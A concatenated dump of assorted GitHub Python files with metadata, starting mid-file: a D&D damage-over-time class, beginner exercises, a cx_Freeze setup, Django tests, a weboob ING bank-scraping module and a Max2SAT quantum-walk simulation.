int(from_entity.level / 4)])\n self.caster_stat = 8 + bonus_stats_caster + maitrise\n else:\n self.caster_stat = Dice.dice20() + bonus_stats_caster\n\n damages = []\n targets_resistances = []\n i = 0\n for entity in to_entities:\n if i > self.max_target:\n break\n if not self.is_positive:\n if self.resist_type is not None:\n target_resistance = Dice.dice20() + (entity.get_stat(self.resist_type)-10)/2\n else:\n target_resistance = entity.armor_class\n targets_resistances.append(target_resistance)\n print(\"target: \" + str(entity))\n print(\"score target vs caster: \" + str(target_resistance) + \" / \" + str(self.caster_stat))\n\n if target_resistance < self.caster_stat:\n entity.dot_list.append(self)\n print('target will suffer the dot')\n else:\n print('target will be healed over time')\n entity.dot_list.append(self)\n\n return damages, targets_resistances, self.caster_stat\n\n def __str__(self):\n # description of those effect\n desc_damage = \"[\"\n for dice in self.damage:\n desc_damage += \"(\" + Dice.get_description_dice(dice) + \" dice) \"\n desc_damage += \"]\"\n\n if self.is_positive:\n desc_damage += \" heal\"\n else:\n desc_damage += \" damage\"\n\n return str(self.name) + \"[max target: \" + str(self.max_target) + \"]\\n\" \\\n + str(self.description) + \"\\n [caster scaling: \" + str(self.scale_type) \\\n + \", target resistance :\" + str(self.resist_type) + \"]\" + \"\\n it does \" \\\n + str(desc_damage) + \" over \" + str(self.turn_left) + \" turn\"\n","repo_name":"Axle-Bucamp/DandD_battle_system","sub_path":"BattleSystem/Dot_effect.py","file_name":"Dot_effect.py","file_ext":"py","file_size_in_byte":2722,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"29868400734","text":"\"\"\" Obtención del perímetro de un triángulo.\"\"\"\n\n# Función que calcula la distamcia entre dos puntos.\ndef dist(p1, p2):\n distancia = sqrt((p1[0] - p2[0])**2 + (p1[1] - p2[1])**2) \n # Regresa la distancia.\n return distancia\n \n# Termina la función.\n\n# Función que lee las coordenadas.\ndef leer_coordenadas(i):\n p = [ ] # Inicializa el vector.\n print(\"Dame la coordenada x del punto \", i)\n x = float(input( ))\n p.append(x)\n print(\"Dame la coordenada y del punto \", i)\n y = float(input( ))\n p.append(y)\n \n return p # se regresan las coordenadas de un punto. \n# Termina la función.\n\n\n\n\n# INICIO DEL ALGORITMO PRINCIPAL\nfrom math import sqrt\n# Datos iniciales. Se leen las coordenadas de los puntos A, B, C.\nA = leer_coordenadas(1)\n\nB = leer_coordenadas(2)\nC = leer_coordenadas(3)\n\n# Se calcula el perímetro.\nperimetro = dist(A, B) + dist(B, C) + dist(C, A)\n\n# Se despliega el perímetro.\nprint(\"El perímetro es: \", perimetro) \n\n# FIN\n","repo_name":"ja12as/Ejercicios-de-python-basicos","sub_path":"Ejemplos Cap 8/Ejemplo8_15.py","file_name":"Ejemplo8_15.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3974514527","text":"from cx_Freeze import setup, Executable\nfrom greaseweazle import version\n\nbuildOptions = dict(\n packages = ['greaseweazle'],\n excludes = [],\n include_msvcr = True)\n\nbase = 'Console'\n\nexecutables = [\n Executable('gw.py', base=base)\n]\n\nsetup(name='Greaseweazle',\n version = f'{version.major}.{version.minor}',\n description = '',\n options = dict(build_exe = buildOptions),\n executables = executables)\n","repo_name":"zxrepo/keirf.Greaseweazle","sub_path":"scripts/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"979309892","text":"\"\"\"\nFile: parserapp.py\nProject 10.9\n\nCompletes the parser with expression trees.\n\nView for the infix expression parser.\nHandles user interaction.\n\"\"\"\n\nfrom parsers import Parser\n\nclass ParserView(object):\n\n def run(self):\n parser = Parser()\n while True:\n sourceStr = input(\"Enter an infix expression: \")\n if sourceStr == \"\": break\n try:\n tree = parser.parse(sourceStr)\n print(\"Prefix:\", tree.prefix())\n print(\"Infix:\", tree.infix())\n print(\"Postfix:\", tree.postfix())\n print(\"Value:\", tree.value())\n except Exception as e:\n print(\"Error:\")\n print(e)\n\nParserView().run()\n","repo_name":"bat67/Fundamentals-of-Python-Data-Structures","sub_path":"Ch_10/Case Study/parserapp.py","file_name":"parserapp.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"75"} +{"seq_id":"36754047531","text":"from django.test import TestCase\nfrom django.urls import reverse\n\nfrom python_web_final_project.applicants_app.models.main_models import TechnicalSkill\nfrom python_web_final_project.helpers.mixins.test_mixins import CreateUserAndProfileMixin, FormsetTestDataMixin\n\n\nclass TestEditTechnicalSkillsView(TestCase, CreateUserAndProfileMixin, FormsetTestDataMixin):\n def setUp(self):\n self.user = self._create_user()\n self.profile = self._create_profile(self.user)\n self.valid_data = self.VALID_TECHNICAL_SKILL_FORMSET_DATA\n\n def test_post_valid_data_expect_object_to_be_created_and_redirect_to_profile(self):\n self.client.login(**self.VALID_USER_CREDENTIALS)\n response = self.client.post(reverse('edit technical skills'), data=self.valid_data)\n skill_obj = TechnicalSkill.objects.first()\n self.assertRedirects(response, reverse('applicant profile', kwargs={'pk': self.user.pk}))\n self.assertEqual(skill_obj.name, self.VALID_TECHNICAL_SKILL_FORMSET_DATA['technicalskill_set-0-name'])\n self.assertEqual(skill_obj.level, self.VALID_TECHNICAL_SKILL_FORMSET_DATA['technicalskill_set-0-level'])\n self.assertEqual(skill_obj.user, self.user)\n\n\n def test_post_invalid_data_expect_object_not_to_be_created(self):\n self.client.login(**self.VALID_USER_CREDENTIALS)\n self.client.post(reverse('edit technical skills'), data=self.INVALID_TECHNICAL_SKILL_FORMSET_DATA, follow=True)\n self.assertEqual(0, TechnicalSkill.objects.count())\n","repo_name":"dmitkov28/dmitkov28-python_web_final_project","sub_path":"python_web_final_project/applicants_app/tests/views/test_applicant_edit_technical_skills_view.py","file_name":"test_applicant_edit_technical_skills_view.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9428583831","text":"from __future__ import unicode_literals\n\nfrom datetime import date, timedelta\nimport datetime\nimport re\n\nfrom weboob.capabilities.bank import Account, Investment, Loan\nfrom weboob.capabilities.base import NotAvailable\nfrom weboob.capabilities.profile import Person\nfrom weboob.browser.pages import HTMLPage, LoggedPage, JsonPage\nfrom weboob.browser.elements import ListElement, TableElement, ItemElement, method, DataError\nfrom weboob.browser.filters.standard import (\n CleanText, CleanDecimal, Filter, Field, MultiFilter, Date,\n Lower, Async, AsyncLoad, Format, Env,\n Regexp,\n)\nfrom weboob.browser.filters.json import Dict\nfrom weboob.browser.filters.html import Attr, Link, TableCell\nfrom weboob.tools.capabilities.bank.transactions import FrenchTransaction\n\n\nclass Transaction(FrenchTransaction):\n PATTERNS = [(re.compile(u'^retrait dab (?P<dd>\\d{2})/(?P<mm>\\d{2})/(?P<yy>\\d{4}) (?P<text>.*)'), FrenchTransaction.TYPE_WITHDRAWAL),\n # Withdrawal in foreign currencies will look like \"retrait 123 currency\"\n (re.compile(u'^retrait (?P<text>.*)'), FrenchTransaction.TYPE_WITHDRAWAL),\n (re.compile(u'^carte (?P<dd>\\d{2})/(?P<mm>\\d{2})/(?P<yy>\\d{4}) (?P<text>.*)'), FrenchTransaction.TYPE_CARD),\n (re.compile(u'^virement (sepa )?(emis vers|recu|emis)? (?P<text>.*)'), FrenchTransaction.TYPE_TRANSFER),\n (re.compile(u'^remise cheque(?P<text>.*)'), FrenchTransaction.TYPE_DEPOSIT),\n (re.compile(u'^cheque (?P<text>.*)'), FrenchTransaction.TYPE_CHECK),\n (re.compile(u'^prelevement (?P<text>.*)'), FrenchTransaction.TYPE_ORDER),\n (re.compile(u'^prlv sepa (?P<text>.*)'), FrenchTransaction.TYPE_ORDER),\n (re.compile(u'^prélèvement sepa en faveur de (?P<text>.*)'), FrenchTransaction.TYPE_ORDER),\n (re.compile(u'^commission sur (?P<text>.*)'), FrenchTransaction.TYPE_BANK),\n ]\n\n\nclass AddPref(MultiFilter):\n prefixes = {u'Courant': u'CC-', u'Livret A': 'LA-', u'Orange': 'LEO-',\n u'Durable': u'LDD-', u\"Titres\": 'TITRE-', u'PEA': u'PEA-'}\n\n def filter(self, values):\n el, label = values\n for key, pref in self.prefixes.items():\n if key in label:\n return pref + el\n return el\n\n\nclass AddType(Filter):\n types = {u'Courant': Account.TYPE_CHECKING,\n u'Livret A': Account.TYPE_SAVINGS,\n u'Orange': Account.TYPE_SAVINGS,\n u'Durable': Account.TYPE_SAVINGS,\n u'Titres': Account.TYPE_MARKET,\n u'PEA': Account.TYPE_PEA,\n u'Direct Vie': Account.TYPE_LIFE_INSURANCE,\n u'Assurance Vie': Account.TYPE_LIFE_INSURANCE,\n u'Crédit Immobilier': Account.TYPE_LOAN,\n u'Prêt Personnel': Account.TYPE_LOAN,\n }\n\n def filter(self, label):\n for key, acc_type in self.types.items():\n if key in label:\n return acc_type\n return Account.TYPE_UNKNOWN\n\n\nclass PreHashmd5(MultiFilter):\n def filter(self, values):\n concat = ''\n for value in values:\n if type(value) is datetime.date:\n concat += value.strftime('%d/%m/%Y')\n else:\n concat += u'%s' % value\n return concat.encode('utf-8')\n\n\nclass INGDate(Date):\n monthvalue = {u'janv.': '01', u'févr.': '02', u'mars': '03', u'avr.': '04',\n u'mai': '05', u'juin': '06', u'juil.': '07', u'août': '08',\n u'sept.': '09', u'oct.': '10', u'nov.': '11', u'déc.': '12'}\n\n def filter(self, txt):\n if txt == 'hier':\n return date.today() - timedelta(days=1)\n elif txt == \"aujourd'hui\":\n return date.today()\n elif txt == 'demain':\n return date.today() + timedelta(days=1)\n frenchmonth = txt.split(' ')[1]\n month = self.monthvalue[frenchmonth]\n txt = txt.replace(' ', '')\n txt = txt.replace(frenchmonth, '/%s/' % month)\n return super(INGDate, self).filter(txt)\n\n\nclass INGCategory(Filter):\n catvalue = {u'virt': u\"Virement\", u'autre': u\"Autre\",\n u'plvt': u'Prélèvement', u'cb_ret': u\"Carte retrait\",\n u'cb_ach': u'Carte achat', u'chq': u'Chèque',\n u'frais': u'Frais bancaire', u'sepaplvt': u'Prélèvement'}\n\n def filter(self, txt):\n txt = txt.split('-')[0].lower()\n try:\n return self.catvalue[txt]\n except:\n return txt\n\n\nclass AccountsList(LoggedPage, HTMLPage):\n i = 0\n\n def has_error(self):\n return len(self.doc.xpath('//div[has-class(\"alert-warning\")]')) > 0\n\n def has_link(self):\n return len(self.doc.xpath('//a[contains(@href, \"goTo\")]'))\n\n def get_card_list(self):\n card_list = []\n card_elements = self.doc.xpath('//div[has-class(\"ccinc_cards\")]/div[has-class(\"accordion\")]')\n for card in card_elements:\n card_properties = {}\n\n # Regexp parse the text to extract the card number that may be in different formats\n card_properties['number'] = Regexp(CleanText('.'), '(\\d+[\\s|*]+\\d+)', default=NotAvailable)(card)\n debit_info = (CleanText('.//div[@class=\"debit-info\"]', default='')(card))\n\n is_deferred = u'Débit différé' in debit_info\n is_immediate = u'Débit immédiat' in debit_info\n\n if is_immediate:\n card_properties['kind'] = self.browser.IMMEDIATE_CB\n elif is_deferred:\n card_properties['kind'] = self.browser.DEFERRED_CB\n else:\n raise DataError(\"Cannot tell if the card {} is deferred or immediate\".format(card_properties['number']))\n\n card_list.append(card_properties)\n\n return card_list\n\n @method\n class get_list(ListElement):\n item_xpath = '//div[@id=\"bloc-menu-comptes\"]//a[@class=\"mainclic\"]'\n\n class item(ItemElement):\n klass = Account\n\n obj_currency = u'EUR'\n obj_label = CleanText('./span[@class=\"title\"]')\n obj_id = AddPref(Field('_id'), Field('label'))\n obj_type = AddType(Field('label'))\n obj__jid = Attr('//input[@name=\"javax.faces.ViewState\"]', 'value')\n\n def obj_balance(self):\n balance = CleanDecimal('./span[@class=\"solde\"]/label', replace_dots=True)(self)\n return -abs(balance) if Field('type')(self) == Account.TYPE_LOAN else balance\n\n def obj__id(self):\n return CleanText('./span[@class=\"account-number\"]')(self)\n\n def condition(self):\n # do not return accounts in application state\n # they are not displayed on new website\n return not CleanText('./span[@class=\"life-insurance-application\"]')(self)\n\n @method\n class get_detailed_loans(ListElement):\n item_xpath = '//div[@class=\"mainclic\"]'\n\n class item(ItemElement):\n klass = Loan\n\n obj_currency = u'EUR'\n obj_label = CleanText('.//span[@class=\"title\"]')\n obj_id = AddPref(Field('_id'), Field('label'))\n obj_type = AddType(Field('label'))\n obj__jid = Attr('//input[@name=\"javax.faces.ViewState\"]', 'value')\n obj__id = CleanText('.//span[@class=\"account-number\"]')\n\n def obj_balance(self):\n balance = CleanDecimal('.//div/span[@class=\"solde\"]/label', replace_dots=True)(self)\n return -abs(balance)\n\n class generic_transactions(ListElement):\n class item(ItemElement):\n klass = Transaction\n\n obj_id = None # will be overwrited by the browser\n # we use lower for compatibility with the old website\n obj_amount = CleanDecimal('.//td[starts-with(@class, \"amount\")]', replace_dots=True)\n obj_date = INGDate(CleanText('.//td[@class=\"date\"]'), dayfirst=True)\n obj_rdate = Field('date')\n obj__hash = PreHashmd5(Field('date'), Field('raw'), Field('amount'))\n obj_category = INGCategory(Attr('.//td[@class=\"picto\"]/span', 'class'))\n\n def obj_raw(self):\n return Transaction.Raw(Lower('.//td[@class=\"lbl\"]'))(self) or Format('%s %s', Field('date'), Field('amount'))(self)\n\n def condition(self):\n date_field = self.el.find('.//td[@class=\"date\"]')\n if date_field is None or 'À venir' in CleanText().filter(date_field):\n return False\n if 'index' in self.env and self.env['index'] > 0 and self.page.i < self.env['index']:\n self.page.i += 1\n return False\n return True\n\n @method\n class get_coming(generic_transactions):\n item_xpath = '//div[@class=\"transactions cc future\"]//table'\n\n @method\n class get_transactions_cc(generic_transactions):\n item_xpath = '//div[@class=\"temporaryTransactionList\"]//table'\n\n @method\n class get_transactions_others(generic_transactions):\n item_xpath = '//table'\n\n def get_history_jid(self):\n span = Attr('//*[starts-with(@id, \"index:j_id\")]', 'id')(self.doc)\n jid = span.split(':')[1]\n return jid\n\n def get_asv_jid(self):\n return self.doc.xpath('//input[@id=\"javax.faces.ViewState\"]/@value')[0]\n\n def islast(self):\n havemore = self.doc.xpath('//*[has-class(\"show-more-transactions\")]')\n if len(havemore) == 0:\n return True\n\n nomore = self.doc.xpath('//*[has-class(\"no-more-transactions\")]')\n return len(nomore) > 0\n\n @property\n def is_asv(self):\n span = self.doc.xpath('//span[@id=\"index:panelASV\"]')\n return len(span) > 0\n\n @property\n def asv_has_detail(self):\n ap = self.doc.xpath('//a[@id=\"index:asvInclude:goToAsvPartner\"] | //p[contains(text(), \"Gestion Libre\")]')\n return len(ap) > 0\n\n @property\n def asv_is_other(self):\n a = self.doc.xpath('//a[@id=\"index:asvInclude:goToAsvPartner\"]')\n return len(a) > 0\n\n def submit(self):\n form = self.get_form(name=\"follow_link\")\n form['follow_link:j_idcl'] = \"follow_link:goToAsvPartner\"\n form.submit()\n\n def get_multispace(self):\n multispace = []\n\n for a in self.doc.xpath('//a[contains(@id, \"mainMenu\")]'):\n space = {}\n name = CleanText('.')(a)\n if 'Vos comptes' not in name:\n space['name'] = name\n else:\n space['name'] = CleanText('//div[@class=\"print-content\"]/h1')(a)\n\n space['id'] = Regexp(Attr('.', 'id'), r'mainMenu:(.*)')(a)\n space['form'] = Attr('.', 'onclick')(a)\n space['is_active'] = 'active' in CleanText('./@class')(a)\n\n multispace.append(space)\n\n return multispace\n\n def fillup_form(self, form, regexp, string):\n # fill form depending on JS\n link = re.search(regexp, string).group(1)\n parts = link.split(',')\n for p in parts:\n f = p.split(\"':'\")\n form[f[0].replace(\"'\", '')] = f[1].replace(\"'\", '')\n\n def change_space(self, space):\n form = self.get_form(id='mainMenu')\n self.fillup_form(form, r\"':\\{(.*)\\}\\s\\}\", space['form'])\n form['AJAXREQUEST'] = '_viewRoot'\n form.submit()\n\n def load_space_page(self):\n # The accounts page exists in two forms: with the spaces list and without\n # When having the spaceless page, a form must be submit to access the space page\n form = self.get_form(id='header-menu')\n on_click = Attr('//a[@class=\"home\"]', 'onclick')(self.doc)\n self.fillup_form(form, r\"\\),\\{(.*)\\},'\", on_click)\n form.submit()\n\n def is_multispace_page(self):\n return self.doc.xpath('//a[contains(@name, \"mainMenu\")]')\n\n\nclass IbanPage(LoggedPage, HTMLPage):\n def get_iban(self):\n iban = CleanText('//tr[td[1]//text()=\"IBAN\"]/td[2]')(self.doc).strip().replace(' ', '')\n if not iban or 'null' in iban:\n return NotAvailable\n return iban\n\n\nclass LoanTokenPage(LoggedPage, HTMLPage):\n def on_load(self):\n form = self.get_form()\n form.submit()\n\n\nclass LoanDetailPage(LoggedPage, JsonPage):\n def getdetails(self, loan):\n loan.total_amount = CleanDecimal(Dict('amount'))(self.doc)\n loan.maturity_date = Date(Dict('loanEndDate'))(self.doc)\n loan.duration = Dict('loanDuration')(self.doc)\n loan.rate = CleanDecimal(Dict('variableInterestRate'))(self.doc) / 100\n loan.nb_payments_left = Dict('remainingMonth')(self.doc)\n loan.last_payment_date = Date(Dict('lastRefundDate'))(self.doc)\n loan.next_payment_date = Date(Dict('nextRefundDate'))(self.doc)\n loan.next_payment_amount = CleanDecimal(Dict('monthlyRefund'))(self.doc)\n\n\nclass TitreDetails(LoggedPage, HTMLPage):\n def submit(self):\n form = self.get_form()\n form.submit()\n\n\nclass ASVInvest(LoggedPage, HTMLPage):\n @method\n class iter_investments(TableElement):\n # Ignore the first line:\n # <tr>\n # <td colspan=\"5\" class=\"enteteTableau metaEnteteTableau enteteTableauFirstCol metaEnteteTableauFirstCol\">Répartition de\n # l'investissement\n # </td>\n # <td colspan=\"3\" class=\"enteteTableau metaEnteteTableau enteteTableauFirstCol metaEnteteTableauFirstCol\">\n # Plus/moins-values (**)\n # </td>\n # </tr>\n # Then, there is the line of column heads.\n # Ignore also information lines like that:\n # <tr>\n # <td colspan=\"8\" class=\"liTableau\" align=\"left\">Gestion Pilotée\n # <td>\n # </tr>\n item_xpath = '//table[@class=\"Tableau\"]//tr[position()>2 and count(./td) >= 8]'\n head_xpath = '//table[@class=\"Tableau\"]//tr[position()=2]/td'\n\n col_label = u'Support(s)'\n col_vdate = re.compile('Date')\n col_unitvalue = u'Valeur de part'\n col_quantity = u'Nombre de parts'\n col_valuation = u'Contre-valeur'\n col_unitprice = [u'Prix revient', u'PAM']\n col_diff = u'Montant'\n col_diff_percent = u'%'\n\n class item(ItemElement):\n klass = Investment\n\n # Euro funds links are like that:\n # <td class=\"lpTableau lpTableauFirstCol\"><a href=\"javascript:alert('Les performances de ce fond ne sont pas consultables.')\" onclick=\"\">Eurossima\n # </a></td>\n # So ignore them.\n load_details = Link('.//td[1]//a') & Regexp(pattern='^((?!javascript:).*)', default=NotAvailable) & AsyncLoad\n\n def obj_code(self):\n val = Async('details', CleanText('//td[@class=\"libelle-normal\" and contains(.,\"CodeISIN\")]', default=NotAvailable))(self)\n if val:\n return val.split('CodeISIN : ')[1] if val else val\n else:\n return NotAvailable\n\n def obj_diff_ratio(self):\n diff = CleanDecimal(TableCell('diff_percent'), replace_dots=True, default=NotAvailable)(self)\n if not diff:\n return diff\n return diff / 100\n\n obj_label = CleanText(TableCell('label'))\n obj_vdate = Date(CleanText(TableCell('vdate')), dayfirst=True)\n obj_unitvalue = CleanDecimal(TableCell('unitvalue'), replace_dots=True, default=NotAvailable)\n obj_quantity = CleanDecimal(TableCell('quantity'), default=NotAvailable)\n obj_valuation = CleanDecimal(TableCell('valuation'), replace_dots=True)\n obj_unitprice = CleanDecimal(TableCell('unitprice', default=None), replace_dots=True, default=NotAvailable)\n obj_diff = CleanDecimal(TableCell('diff'), replace_dots=True, default=NotAvailable)\n\n\nclass DetailFondsPage(LoggedPage, HTMLPage):\n def get_isin_code(self):\n return CleanText('//td[contains(text(), \"CodeISIN\")]/b', default=NotAvailable)(self.doc)\n\n\ndef MyInput(*args, **kwargs):\n args = (u'//input[contains(@name, \"%s\")]' % args[0], 'value',)\n kwargs.update(default=NotAvailable)\n return Attr(*args, **kwargs)\n\n\ndef MySelect(*args, **kwargs):\n args = (u'//select[contains(@name, \"%s\")]/option[@selected]' % args[0],)\n kwargs.update(default=NotAvailable)\n return CleanText(*args, **kwargs)\n\n\nclass ProfilePage(LoggedPage, HTMLPage):\n @method\n class get_profile(ItemElement):\n klass = Person\n\n obj_name = CleanText('//a[has-class(\"hme-pm\")]/span[@title]')\n obj_address = CleanText('//ul[@class=\"newPostAdress\"]//dd[@class=\"withMessage\"]')\n obj_country = CleanText('//dt[label[contains(text(), \"Pays\")]]/following-sibling::dd')\n obj_email = CleanText('//dt[contains(text(), \"Email\")]/following-sibling::dd/text()')\n obj_phone = Env('phone')\n obj_mobile = Env('mobile')\n\n def parse(self, el):\n pattern = '//dt[contains(text(), \"%s\")]/following-sibling::dd/label'\n phone = CleanText(pattern % \"professionnel\")(self)\n mobile = CleanText(pattern % \"portable\")(self)\n self.env['phone'] = phone or mobile\n self.env['mobile'] = mobile\n\n @method\n class update_profile(ItemElement):\n obj_job = MyInput('category_pro')\n obj_job_contract_type = MySelect('contractType')\n obj_company_name = MyInput('category_empl')\n obj_socioprofessional_category = MySelect('personal_form:csp')\n\n def obj_job_activity_area(self):\n return MySelect('business_sector')(self) or NotAvailable\n\n def obj_main_bank(self):\n return MySelect('present_bank')(self) or NotAvailable\n\n def obj_housing_status(self):\n return MySelect('housingType')(self) or NotAvailable\n\n def obj_job_start_date(self):\n month = MySelect('seniority_Month')(self)\n year = MySelect('seniority_Year')(self)\n return Date(default=NotAvailable).filter('01/%s/%s' % (month, year)) if month and year else NotAvailable\n\n def obj_birth_date(self):\n birth_date = self.page.browser.birthday\n return Date().filter(\"%s/%s/%s\" % (birth_date[2:4], birth_date[:2], birth_date[-4:]))\n","repo_name":"laurentb/weboob","sub_path":"modules/ing/web/accounts_list.py","file_name":"accounts_list.py","file_ext":"py","file_size_in_byte":18307,"program_lang":"python","lang":"en","doc_type":"code","stars":93,"dataset":"github-code","pt":"75"} +{"seq_id":"73224225523","text":"lugged_capacity = float(input())\n\nsuitcases = 0\nlugged = input()\n\nwhile lugged != \"End\":\n lugged = float(lugged)\n suitcases = suitcases + 1\n\n added_lugged_space = 0\n if suitcases % 3 == 0:\n added_lugged_space = lugged * 0.1\n\n lugged_capacity = lugged_capacity - lugged + added_lugged_space\n\n if lugged_capacity < 0:\n suitcases = suitcases - 1\n print(\"No more space!\")\n break\n\n lugged = input()\nelse:\n print(\"Congratulations! All suitcases are loaded!\")\n\nprint(f\"Statistic: {suitcases} suitcases loaded.\")\n","repo_name":"d-miteva/Programming-Basics-with-Python","sub_path":"03.01 - Exam Trainig/05_suitcases_load.py","file_name":"05_suitcases_load.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"20586553036","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nimport matplotlib.colors as colors\nfrom scipy.stats import binom\nfrom scipy import linalg\nfrom scipy.sparse.linalg import expm_multiply\nfrom scipy.sparse import csc_matrix\nfrom scipy.special import comb\nimport math\nimport time\n\n\ndef get_2sat_formula(instance_name):\n out = np.loadtxt(\"../../instances_original/\" + instance_name + \".m2s\")\n return out.astype(int)\n\n\ndef get_instances():\n \"\"\"returns array of instance names, array of corresponding n\"\"\"\n instance_data = np.genfromtxt('m2s_nqubits.csv', delimiter=',', skip_header=1, dtype=str)\n return instance_data[:, 0], instance_data[:, 1].astype(int)\n\n\ndef first_eigvec(A):\n \"\"\"returns ground state of matrix A\"\"\"\n return np.linalg.eigh(A)[1][:, 0]\n\n\ndef hypercube(n_dim):\n sigma_x = np.array([[0, 1],\n [1, 0]])\n A = sigma_i(sigma_x, 0, n_dim)\n\n for i in range(1, n_dim):\n A += sigma_i(sigma_x, i, n_dim)\n return -1 * A\n\n\ndef sigma_i(sigma, i, n_dim):\n n = n_dim -1 # because of i starting from 0 rather than 1\n if i > 0:\n out = np.eye(2)\n for j_before in range(i - 1):\n out = np.kron(out, np.eye(2))\n out = np.kron(out, sigma)\n else:\n out = sigma\n for j_after in range(n - i):\n out = np.kron(out, np.eye(2))\n return out\n\n\ndef quantum_walk_hypercube(N, H, psi0, timesteps, normalise):\n psiN = expm_multiply(-(1j) * timesteps * H, psi0)\n\n prob = np.real(np.conj(psiN) * psiN)\n\n result = np.zeros(N + 1)\n normalise_array = np.zeros(N+1)\n\n for i, probability in enumerate(prob):\n binary_i = bin(i)\n i_ones = [ones for ones in binary_i[2:] if ones == '1']\n num_ones = len(i_ones)\n result[num_ones] += probability\n if normalise:\n normalise_array[num_ones] += 1\n\n if normalise:\n result = result/normalise_array\n\n return result\n\n\ndef hamiltonian_2sat(n, formula):\n N = 2 ** n\n out = np.zeros((N, N))\n sigma_z = np.array([[1, 0],\n [0, -1]])\n sigma_identity = np.eye(N)\n sigma_z_i = np.zeros((n, N, N))\n for i in range(n):\n sigma_z_i[i] = sigma_i(sigma_z, i, n)\n for clause in formula:\n v_1 = clause[1]\n v_2 = clause[3]\n sign_1 = -1 * clause[0] # -1 because signs should be opposite in Hamiltonian\n sign_2 = -1 * clause[2]\n out += (1/4) * (sign_1*sign_2*sigma_z_i[v_1]*sigma_z_i[v_2]\n + sign_1*sigma_z_i[v_1] + sign_2*sigma_z_i[v_2] + sigma_identity)\n return out\n\n\ndef run_many_walks(formula, n, time_limit, normalise=False):\n N = 2 ** n # number of positions\n A = hypercube(n)\n H_problem = hamiltonian_2sat(n, formula)\n gamma = heuristic_gamma(n)\n H = gamma * (A - n * np.eye(2 ** n)) + H_problem\n\n psi0 = np.ones(N) * (1 / np.sqrt(N))\n output = np.zeros((time_limit + 1, n + 1))\n for timesteps in range(0, time_limit + 1):\n output[timesteps] = quantum_walk_hypercube(n, H, psi0, timesteps, normalise=normalise)\n print(sum(output[timesteps]))\n return output\n\n\ndef plot_furthest_qubit_prob(timesteps, data):\n plt.figure()\n plt.plot(range(timesteps + 1), data[:, -1])\n plt.xlim(0, timesteps)\n plt.xticks(range(0, timesteps + 1, 5))\n plt.ylim(0, 1)\n plt.yticks([0, 0.2, 0.4, 0.6, 0.8, 1])\n plt.xlabel(\"Time, $t$\", labelpad=10)\n plt.show()\n\n\ndef plot_nearest_qubit_prob(timesteps, data):\n plt.figure()\n plt.plot(range(timesteps + 1), data[:, 0])\n plt.xlim(0, timesteps)\n plt.xticks(range(0, timesteps + 1, 5))\n plt.ylim(0, 0.2)\n plt.yticks([0, 0.05, 0.1, 0.15])\n #plt.yticks([0, 0.2, 0.4, 0.6, 0.8, 1])\n plt.xlabel(\"$t$\")\n plt.ylabel(\"$P(t_f)$\")\n plt.tight_layout()\n plt.show()\n\n\ndef plot_nearest_qubit_prob_2(timesteps, data, ax, color):\n ax.plot(range(timesteps + 1), data[:, 0], color=color)\n ax.set_xlim(0, timesteps)\n ax.set_xticks(range(0, timesteps + 1, 10))\n ax.set_ylim(0, 0.6)\n #plt.yticks([0, 0.2, 0.4, 0.6, 0.8, 1])\n ax.set_xlabel(\"$t_f$\")\n\n\ndef plot_prob_heatmap(data, N, timesteps):\n fig, ax = plt.subplots()\n im = ax.imshow(data, cmap=plt.get_cmap('plasma'), norm=colors.Normalize(vmin=0, vmax=0.2))\n ax.set_xlabel(\"Hamming distance, $d$\")\n ax.set_ylabel(\"Time, $t$\", rotation=0, labelpad=25)\n plt.xticks(range(0, N + 1, 2))\n plt.yticks(range(0, timesteps + 1, 5))\n ax.invert_yaxis()\n\n m = cm.ScalarMappable(cmap=plt.get_cmap('plasma'))\n m.set_clim(0., 0.2)\n cb = fig.colorbar(m, extend='max')\n cb.set_label('Normalised probability, $P(d, t)$')\n plt.tight_layout()\n plt.show()\n\n\ndef optimal_gamma(n):\n return 0.77\n\n\ndef heuristic_gamma(n):\n out = \"haven't defined heuristic gamma for given n\"\n if n == 5:\n out = 0.56503\n if n == 6:\n out = 0.587375\n if n == 7:\n out = 0.5984357142857143\n if n == 8:\n out = 0.60751875\n if n == 9:\n out = 0.6139833333333333\n if n == 10:\n out = 0.619345\n if n == 11:\n out = 0.6220136363636364\n print(\"heuristic gamma: \", out)\n return out\n\n\nif __name__ == '__main__':\n plt.rc('text', usetex=True)\n plt.rc('font', size=16)\n plt.rcParams[\"figure.figsize\"] = (9.6, 4.8)\n\n fig, axs = plt.subplots(1, 2)\n colors = ['forestgreen', 'deeppink']\n axs[0].tick_params(direction='in', top=True, right=True, which='both')\n axs[1].tick_params(direction='in', top=True, right=True, which='both', labelleft=False)\n axs[0].set_ylabel(\"$P(t_f)$\")\n axs[0].set_yticks(np.arange(0.1, 0.7, 0.1))\n\n timesteps = 50\n instance_names, instance_n_bits = get_instances()\n instance_nums = [1, 50031] #50031\n for i, instance_num in enumerate(instance_nums):\n # instance_name = instance_names[32070]\n instance_name = instance_names[instance_num]\n sat_formula = get_2sat_formula(instance_name)\n n = instance_n_bits[instance_num] # number of variables/qubits\n print(\"n:\", n)\n\n time_start = time.time()\n data = run_many_walks(sat_formula, n, timesteps, normalise=True) # 2D array of [timesteps_run, probability_at_distance_of_index]\n time_end = time.time()\n\n print(\"runtime:\", time_end - time_start)\n\n plot_nearest_qubit_prob_2(timesteps, data, axs[i], colors[i])\n # plot_prob_heatmap(data, n, timesteps)\n\n # plt.savefig('inst_success_probs_n_5_10.png', dpi=200)\n plt.show()","repo_name":"puyamirkarimi/quantum-walks","sub_path":"Max2SAT_quantum/continuous_quantum_walk_max2sat.py","file_name":"continuous_quantum_walk_max2sat.py","file_ext":"py","file_size_in_byte":6515,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} 